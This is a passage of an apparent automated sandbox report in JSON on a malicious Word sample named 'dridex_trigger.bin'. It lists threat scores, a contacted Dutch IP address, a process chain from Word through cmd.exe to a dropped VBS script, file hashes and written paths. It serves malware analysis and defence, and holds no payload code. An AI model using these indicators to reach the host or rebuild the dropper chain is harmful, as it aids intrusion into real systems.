Files","Sample not shared"],"is_in_unified_schema":true},{"id":"56b1daf30e316d1a49a8b2ff","environment_id":4,"environment_description":"Windows 7 32 bit - Kernelmode Monitor","state":"SUCCESS","error_type":"The analysis failed permanently","verdict":"malicious","threat_score":67,"contacted_countries":["NLD"],"submit_name":"dridex_trigger.bin","analysis_start_time":"2016-02-11T09:06:08+00:00","indicators_count":{"informative":8,"suspicious":10,"malicious":5},"tags":["Network Traffic","Extracted Files","Sample not shared"],"is_in_unified_schema":true},{"id":"56b1daf30e316d1a49a8b2fd","environment_id":1,"environment_description":"Windows 7 32 bit - Usermode Monitor","state":"SUCCESS","verdict":"malicious","threat_score":55,"contacted_countries":["NLD"],"submit_name":"dridex_trigger.bin","analysis_start_time":"2016-02-11T09:06:21+00:00","indicators_count":{"informative":7,"suspicious":7,"malicious":5},"tags":["Network Traffic","Extracted Files","Sample Crashed","Sample not shared"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"89.248.166.131","port":80,"protocol":"TCP","country":"Netherlands","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]}],"dns_resolutions":null,"http_requests":null},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}],"processes":[{"pid":3788,"ppid":0,"name":"WINWORD.EXE","command_line":"/n /dde","normalized_path":"","uid":"00188765-00003788","icon":"$2b"},{"pid":2220,"ppid":0,"name":"cmd.exe","command_line":"$2c","normalized_path":"","uid":"00205484-00002220"},{"pid":3600,"ppid":0,"name":"WScript.exe","command_line":"\"%APPDATA%\\1213.vbs\"","normalized_path":"","uid":"00207125-00003600"},{"pid":1508,"ppid":0,"name":"OffDiag.exe","command_line":"/SOURCE 1 /LCID 1031 /WAITPID 1072","normalized_path":"","uid":"00403390-00001508"}],"all_imported_dlls":["SspiCli.dll","MMDevAPI.DLL","AUDIOSES.DLL","rasadhlp.dll","kernel32.dll","MSVCR80.dll","msxml3.dll","DCIMAN32.dll","PSAPI.DLL","LINKINFO.dll","PROPSYS.dll","MSISIP.DLL","rtutils.dll","winrnr.dll","mscoreei.dll","NETAPI32.dll","OLEAUT32.dll","SHLWAPI.dll","wwlib.dll","WINTRUST.dll","sensapi.dll","sechost.dll","urlmon.dll","MSIMG32.dll","Secur32.dll","LPK.dll","msvcrt.dll","mxdwdui.DLL","cscapi.dll","scrobj.dll","RASAPI32.dll","NLAapi.dll","MPR.dll","unidrvui.dll","WINBRAND.dll","WININET.dll","pnrpnsp.dll","dwmapi.dll","CRYPT32.dll","CRYPTSP.dll","OSETUPPS.DLL","IMM32.DLL","OLEACC.dll","sfc.dll","wshext.dll","MSASN1.dll","ole32.dll","USP10.dll","srvcli.dll","mlang.dll","DEVOBJ.dll","NSI.dll","VBE6.DLL","msproof6.dll","ntdll.dll","DDRAW.dll","wwintl.dll","MSORES.DLL","RpcRtRemote.dll","WS2_32.dll","SHELL32.dll","ntmarta.dll","msi.dll","USERENV.dll","propsys.dll","ntshrui.dll","SETUPAPI.dll","COMDLG32.dll","ADVAPI32.dll","riched20.dll","wshtcpip.dll","napinsp.dll","POWRPROF.dll","profapi.dll","msxml5.dll","fwpuclnt.dll","dnsapi.DLL","SSPICLI.DLL","RPCRT4.dll","COMCTL32.dll","midimap.dll","iphlpapi.DLL","VERSION.dll","apphelp.dll","comctl32.dll","Normaliz.dll","MSCTF.dll","mso.dll","VBE6INTL.DLL","IMM32.dll","WINMM.dll","MSPTLS.DLL","GDI32.dll","USER32.dll","mscms.dll","mscoree.dll","MSOSTYLE.DLL","rasman.dll","odintl.dll","uxtheme.dll","rsaenh.dll","slc.dll","vbscript.dll","mswsock.dll","MSOINTL.DLL","shdocvw.dll","ws2_32.DLL","CFGMGR32.dll","CLBCatQ.DLL","iertutil.dll","AcSpecfc.DLL","SXS.DLL","wship6.dll","KERNELBASE.dll","CRYPTBASE.dll","hlink.dll","setupapi.dll","user32.dll","userenv.dll","OART.DLL","linkinfo.dll","devobj.dll","version.dll","msvcp80.dll","MSLID.DLL","gdi32.dll","clbcatq.dll","MMDevAPI.dll","wtsapi32.dll","MSGR3EN.DLL","fontsub.dll","KernelBase.dll","cryptsp.dll","wininet.dll","cryptbase.dll","winmm.dll","AcSpecfc.dll","lpk.dll","MSO.DLL","msvcr80.dll","rpcrt4.dll","oleaut32.dll","mpr.dll","Wldap32.dll","crypt32.dll","sspicli.dll","mxdwdui.dll","wintrust.dll","ksuser.dll","ddraw.dll","advapi32.dll","OGL.DLL","nsi.dll","WWINTL.DLL","msasn1.dll","AudioSes.dll","winsta.dll","comdlg32.dll","msdrm.dll","mxdwdrv.dll","imm32.dll","shlwapi.dll","msctf.dll","WWLIB.DLL","dciman32.dll","msacm32.dll","cfgmgr32.dll","ws2_32.dll","RICHED20.DLL","avrt.dll","usp10.dll","shell32.dll","sxs.dll","msvcr90.dll","scrrun.dll","GFX.DLL","msxml6r.dll","ALRTINTL.DLL","msxml3r.dll","rasapi32.dll","dhcpcsvc.dll","rpcss.dll","USP10.DLL","VBE7INTL.DLL","SendToOneNoteUI.dll","OSPPCEXT.DLL","normaliz.dll","netprofm.dll","sfc_os.dll","msisip.dll","schannel.dll","MSCONV97.DLL","OSPPC.DLL","WinSCard.dll","dnsapi.dll","msproof7.dll","winbrand.dll","IPHLPAPI.DLL","SensApi.dll","winhttp.dll","NapiNSP.dll","winnsi.dll","VBE7.DLL","FWPUCLNT.DLL","npmproxy.dll","msimg32.dll","GdiPlus.dll","dhcpcsvc6.dll","powrprof.dll","msxml6.dll","webio.dll","WSHTCPIP.DLL","nlaapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"~WRS{38A87E81-F4DF-41DE-A31D-80D97DB672DC}.tmp","sha256":"7c7586a45e6b9fa5a8a07faf534a4936ce998bd66904bdbf9688c912642841a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"1213.vbs","sha256":"72ac4d21a22aaf77115487a4fbb430cc4a4f94ad211fe7b402ebb3c777ee0442","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"dridex_trigger.bin.LNK","sha256":"84e398c0cee149d1c1a5ebc7e9dccea8d1497bbdae854da9eeedeadeb11a91c8","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"index.dat","sha256":"95c9558e217e910a5574e785435bb8ef5d4a90bf226cf0906b57eded9c146132","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"%OSUSER%@microsoft[1].txt","sha256":"11be7070c3f34ab54a6800b4d37816e31e2213d12eb8ab428bd2a3f66d758d54","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"%OSUSER%@microsoft[2].txt","sha256":"329bf824386ea25ea004654ac1d90732fa007decdf4af8313dfb07648eac58bd","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"~WRS{BA800B56-AEF9-482F-81A8-2620A0F1FF8B}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"opa12.dat","sha256":"601350fca56036d8e334a89da6fb73e94b739c6a95df23647bfd10f8bc979f25","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"403171.cvr","sha256":"feda87807c7ebd51aa6160a9968d59a0aec7736721840bb489bfa24bcf971caa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"403234.od","sha256":"b3f283b84d11ddb718a58bd965395a207d645215d61a3430b5a1db94d8fde53c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"msoF60E.tmp","sha256":"039fe79b74e6d3d561e32d4af570e6ca70db6bb3718395be2bf278b9e601279a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"name":"~WRS{E44B74E9-86F5-4098-BA7D-9C6F712D8BB9}.tmp","sha256":"7c7586a45e6b9fa5a8a07faf534a4936ce998bd66904bdbf9688c912642841a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"1053.vbs","sha256":"72ac4d21a22aaf77115487a4fbb430cc4a4f94ad211fe7b402ebb3c777ee0442","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"Local Disk (C).LNK","sha256":"06776cf47e40537e9ed1797da6a9c073c1c46ebeb2ceb0f31fc4717bfd440e1f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"~WRS{8358996D-54B3-4F8E-9D1C-D8E307B832B7}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"msoBA2E.tmp","sha256":"039fe79b74e6d3d561e32d4af570e6ca70db6bb3718395be2bf278b9e601279a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"~$idex_trigger.bin.doc","sha256":"d25f7264e659b7e1ac5d23e873595e43562a231f6d31146778e554bc1a67e873","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"name":"~WRS{86919D60-4770-451E-A487-2B429396818D}.tmp","sha256":"7c7586a45e6b9fa5a8a07faf534a4936ce998bd66904bdbf9688c912642841a4","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"708.vbs","sha256":"72ac4d21a22aaf77115487a4fbb430cc4a4f94ad211fe7b402ebb3c777ee0442","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"Long_Commandline_Wordfile.bin.LNK","sha256":"7934bb4a794f6bc5826e6784a3d4aa09e0ddb4913d24c899c8c901bc33c5bb11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"~$Normal.dotm","sha256":"4a2ba8c258e2334867cfb1058691bed500bbc6a37d7d1bed1ba3d5e9fe617853","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"dj7fya5@www.microsoft[1].txt","sha256":"4cf225209d787336934e18d0d300d244c385a0826371bbfbdb2f3dbe2c75fed6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"~WRS{549C74F3-C291-496D-8E1E-D2802EB01ADE}.tmp","sha256":"4826c0d860af884d3343ca6460b0006a7a2ce7dbccc4d743208585d997cc5fd1","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"mso4554.tmp","sha256":"039fe79b74e6d3d561e32d4af570e6ca70db6bb3718395be2bf278b9e601279a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"name":"~$ng_Commandline_Wordfile.bin.doc","sha256":"4a2ba8c258e2334867cfb1058691bed500bbc6a37d7d1bed1ba3d5e9fe617853","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]}],"files_written":[{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\office12\\Cultures\\office.odf","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\sortdefault.nls","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Fonts\\staticcache.dat","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Word12.pip","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OFFICE11\\msxml5.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%PROGRAMFILES%\\Microsoft Office\\Office12\\WINWORD.EXE.config","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\OPA12.BAK","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.0.3705\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v1.1.4322\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v2.0.50727\\mscorwks.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\StdNames.gpd","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.BUD","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.gpd","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\spool\\DRIVERS\\W32X86\\3\\mxdwdui.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\~$Normal.dotm","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"MountPointManager","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"C:\\Users\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Templates","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%USERPROFILE%\\Documents\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%USERPROFILE%\\Links\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\Microsoft\\Templates\\Normal.dotm","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{BA800B56-AEF9-482F-81A8-2620A0F1FF8B}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%WINDIR%\\system32\\en-US\\MSCTF.dll.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%WINDIR%\\system32\\en-US\\MMDevAPI.DLL.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%WINDIR%\\system32\\en-US\\wdmaud.drv.mui","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%WINDIR%\\system32\\wdmaud.drv","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"pci#ven_8086&dev_100e&subsys_001e8086&rev_02#3&267a616a&0&18#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{d0b53124-e232-49fc-9ea9-75fa32c7c6c3}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#*isatap#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{9c9c1d9a-e45a-41f9-8d98-d3b6ea5d768d}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#*teredo#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{72d885c2-0aec-4510-95d5-bf120a963535}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_agilevpnminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{dcb14c61-690d-46f7-8a89-150432fa5c44}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_l2tpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{483c9ff8-503d-414b-b402-e4c1f1f568cb}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_ndiswanbh#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanbh","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_ndiswanip#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanip","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_ndiswanipv6#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\ndiswanipv6","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_pppoeminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{db2b4279-b5cf-4626-9dba-32d0ece44c87}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_pptpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{c0de3e38-8ba7-479f-8b75-833f294c5aa8}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#ms_sstpminiport#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e28d896f-9ea8-433a-9c10-66c97c19a921}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"root#system#0000#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{eeab7790-c514-11d1-b42b-00805fc1270e}&asyncmac","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"sw#{eeab7790-c514-11d1-b42b-00805fc1270e}#asyncmac#{ad498944-762f-11d0-8dcb-00c04fc3358c}\\{e2f8a220-af88-446c-9a55-453e58dd3a33}","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%PROGRAMFILES(X86)%\\MICROS~1\\OFFICE\\DATA\\opa12.dat","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%SAMPLEDIR%\\~$idex_trigger.bin.doc","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRF{5DEF20F1-616A-49A8-8822-170AE8EBA98D}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{D1C09BBE-28FE-4AFA-B2FF-D72C54638DBF}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%TEMP%\\msoF60E.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.Word\\~WRS{38A87E81-F4DF-41DE-A31D-80D97DB672DC}.tmp","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"%APPDATA%\\Microsoft\\Office\\adhoc.rcd","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\review.rcd","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%USERPROFILE%\\AppData","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"C:\\","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"}]},{"path":"C:\\Users","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"},{"report_type":"sandbox","report_id":"5741eaceaac2ed1d7be6d8da"}]},{"path":"%APPDATA%\\Microsoft\\Office\\Recent\\dridex_trigger.bin","sources":[{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2fd"},{"report_type":"sandbox","report_id":"56b1daf30e316d1a49a8b2ff"}]},{"path":"PIP